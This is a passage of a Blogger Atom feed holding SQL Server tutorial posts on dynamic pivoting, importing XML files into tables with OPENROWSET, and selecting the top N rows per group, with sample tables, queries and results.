style="color:black;"&gt;P&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-6627381393466167442?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/6627381393466167442/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=6627381393466167442' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/6627381393466167442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/6627381393466167442'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2009/01/pivoting-on-multiple-columns.html' title='Pivoting on Multiple Columns'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-8093895039752370288</id><published>2008-12-24T16:33:00.003-05:00</published><updated>2008-12-24T16:40:24.097-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pivot'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-tab'/><title type='text'>Dynamic Pivoting</title><content type='html'>SQL Server 2005 added the PIVOT operator which makes creating cross-tab queries very easy. However, as of this writing none of the SQL Server versions has built-in support for dynamic pivoting. The PIVOT operator only provides basic pivoting capabilities on a static list of values.  In practice it is very often needed to perform this for dynamic list of values. &lt;br /&gt;&lt;br /&gt;Here is one solution for dynamic pivoting that uses the ability in SQL Server 2005/2008 to concatenate row values using FOR XML PATH with blank element name. This method performs a query on the distinct values to pivot and creates a column list based on that. Then the resulting column list is used in a dynamic query utilizing the PIVOT operator and executed as dynamic SQL.&lt;br /&gt;&lt;br /&gt;In this scenario the goal is to pivot order amounts by month.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Table with orders&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Orders (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; order_id &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;span style="color: blue;"&gt; PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; order_date &lt;span style="color: blue;"&gt;DATETIME &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue;"&gt;DEFAULT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; amount &lt;span style="color: blue;"&gt;DECIMAL&lt;/span&gt;(8, 2) &lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;span style="color: blue;"&gt; DEFAULT &lt;/span&gt;0&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue;"&gt;CHECK &lt;/span&gt;(amount &amp;gt;= 0));&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Sample data&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Orders &lt;/p&gt;&lt;p style="margin: 0px;"&gt;(order_id, order_date, amount)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;1, &lt;span style="color: #a31515;"&gt;'20070101'&lt;/span&gt;, 10.50&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UNION ALL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;2, &lt;span style="color: #a31515;"&gt;'20070126'&lt;/span&gt;, 12.50&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UNION ALL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;3, &lt;span style="color: #a31515;"&gt;'20070130'&lt;/span&gt;, 12.00&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UNION ALL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;4, &lt;span style="color: #a31515;"&gt;'20070214'&lt;/span&gt;, 13.75&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UNION ALL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;5, &lt;span style="color: #a31515;"&gt;'20070220'&lt;/span&gt;, 10.00&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UNION ALL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;6, &lt;span style="color: #a31515;"&gt;'20070306'&lt;/span&gt;, 15.00&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UNION ALL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;7, &lt;span style="color: #a31515;"&gt;'20070310'&lt;/span&gt;, 17.50&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UNION ALL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;8, &lt;span style="color: #a31515;"&gt;'20070329'&lt;/span&gt;, 20.00;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Build list of column values to pivot&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@cols NVARCHAR(1000);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;@cols =&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: fuchsia;"&gt;STUFF&lt;/span&gt;((&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;N&lt;span style="color: #a31515;"&gt;'],[' &lt;/span&gt;+ year_month&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;(&lt;span style="color: blue;"&gt;SELECT DISTINCT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CONVERT&lt;/span&gt;(&lt;span style="color: blue;"&gt;NCHAR&lt;/span&gt;(7), order_date, 126)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Orders) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;O(year_month)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;ORDER BY &lt;/span&gt;year_month&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;FOR &lt;/span&gt;XML PATH(&lt;span style="color: #a31515;"&gt;''&lt;/span&gt;)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ), 1, 2, &lt;span style="color: #a31515;"&gt;''&lt;/span&gt;) + N&lt;span style="color: #a31515;"&gt;']'&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Build dynamic SQL query for pivoting &lt;/span&gt;&amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@sql NVARCHAR(2000);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@sql =&lt;/p&gt;&lt;p style="margin: 0px;"&gt;N&lt;span style="color: #a31515;"&gt;'SELECT order_year, ' &lt;/span&gt;+ @cols +&lt;/p&gt;&lt;p style="margin: 0px;"&gt;N&lt;span style="color: #a31515;"&gt;'FROM (SELECT DATEPART(yyyy, order_date) AS order_year, ' &lt;/span&gt;+&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  N&lt;span style="color: #a31515;"&gt;'CONVERT(NCHAR(7), order_date, 126) AS year_month, ' &lt;/span&gt;+&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  N&lt;span style="color: #a31515;"&gt;'amount ' &lt;/span&gt;+&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; N&lt;span style="color: #a31515;"&gt;'FROM Orders) AS O ' &lt;/span&gt;+&lt;/p&gt;&lt;p style="margin: 0px;"&gt;N&lt;span style="color: #a31515;"&gt;'PIVOT ' &lt;/span&gt;+&lt;/p&gt;&lt;p style="margin: 0px;"&gt;N&lt;span style="color: #a31515;"&gt;'(SUM(amount) FOR year_month IN (' &lt;/span&gt;+ @cols + N&lt;span style="color: #a31515;"&gt;')) AS P;'&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;EXEC&lt;/span&gt;(@sql);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;Results:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;order_year &lt;/span&gt; &lt;span style="color: green;"&gt;2007-01 &lt;/span&gt; &lt;span style="color: green;"&gt;2007-02 &lt;/span&gt; &lt;span style="color: green;"&gt;2007-03&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;----------- -------- -------- --------&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;2007 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;35.00 &lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;23.75 &lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;52.50&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This query can be further improved by using the &lt;a href='http://msdn.microsoft.com/en-us/library/ms176114.aspx' target='_blank'&gt;QUOTENAME&lt;/a&gt; function to prevent any possibility of SQL injection.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-8093895039752370288?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/8093895039752370288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=8093895039752370288' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/8093895039752370288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/8093895039752370288'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/12/dynamic-pivoting.html' title='Dynamic Pivoting'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-7742569119268248354</id><published>2008-11-14T21:10:00.002-05:00</published><updated>2008-11-14T21:24:17.187-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><title type='text'>Import XML File to SQL Table</title><content type='html'>Here is a brief example of importing an XML file into SQL Server table. This is accomplished by using the BULK option of OPENROWSET to load the file, and then utilizing the XQuery capabilities of SQL Server to parse the XML to normalized table format. This example requires SQL server 2005 or SQL Server 2008.&lt;br /&gt;&lt;br /&gt;First, the following XML is saved to XML file C:\Products.xml.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Products&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Product&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;SKU&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;1&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;SKU&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Desc&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;Book&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Desc&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Product&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Product&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;SKU&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;2&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;SKU&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Desc&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;DVD&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Desc&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Product&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Product&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;SKU&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;3&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;SKU&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Desc&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;Video&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Desc&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;nbsp; &amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Product&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Products&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Next, a table named Products is created to store the XML data.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Products(&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;sku &lt;span style="color: blue;"&gt;INT PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;product_desc &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(30));&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Finally, the following statement will load the XML file, parse the XML elements to columns, and insert into the Products table:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Products (sku, product_desc) &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;X.product.query(&lt;span style="color: #a31515;"&gt;'SKU'&lt;/span&gt;).value(&lt;span style="color: #a31515;"&gt;'.'&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;'INT'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; X.product.query(&lt;span style="color: #a31515;"&gt;'Desc'&lt;/span&gt;).value(&lt;span style="color: #a31515;"&gt;'.'&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;'VARCHAR(30)'&lt;/span&gt;)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;( &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CAST&lt;/span&gt;(x &lt;span style="color: blue;"&gt;AS XML&lt;/span&gt;)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM OPENROWSET&lt;/span&gt;(&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue;"&gt;BULK &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'C:\Products.xml'&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue;"&gt;SINGLE_BLOB&lt;/span&gt;) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;T(x)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;T(x)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: gray;"&gt;CROSS APPLY&lt;/span&gt; x.nodes(&lt;span style="color: #a31515;"&gt;'Products/Product'&lt;/span&gt;) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;X(product);&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Here are the results:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;sku, product_desc &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Products;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;Results:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;sku &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;product_desc&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;----------- -------------&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;Book&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;2 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;DVD&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;3 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;Video&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-7742569119268248354?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/7742569119268248354/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=7742569119268248354' title='59 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7742569119268248354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7742569119268248354'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/11/import-xml-file-to-sql-table.html' title='Import XML File to SQL Table'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>59</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-7687971957803821011</id><published>2008-11-12T12:25:00.000-05:00</published><updated>2008-11-12T12:26:57.338-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><title type='text'>Top N by Group</title><content type='html'>It is a very common request to select the top N items per group. Examples are the top 2 sales agents per region, the last two orders per customer, etc. There are various techniques to accomplish this. On SQL Server 2005 and 2008 this normally involves CROSS APPLY, TOP, and the ranking functions. &lt;br /&gt;&lt;br /&gt;Here are a couple examples of solving this problem utilizing the ranking functions in SQL Server 2005/2008. These methods are very simple and efficient, at the same time providing flexibility to manage ties.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Loans (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_nbr &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt; &lt;span style="color: blue;"&gt;PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_date &lt;span style="color: blue;"&gt;DATETIME &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_amount &lt;span style="color: blue;"&gt;DECIMAL&lt;/span&gt;(12, 2) &lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;DEFAULT &lt;/span&gt;0.0,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; customer_nbr &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_type &lt;span style="color: blue;"&gt;CHAR&lt;/span&gt;(1) &lt;span style="color: 